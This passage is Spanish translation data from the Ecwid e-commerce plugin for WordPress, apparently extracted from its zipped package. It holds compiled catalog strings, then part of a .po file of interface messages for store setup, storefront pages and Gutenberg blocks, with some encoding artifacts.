obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CO.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: 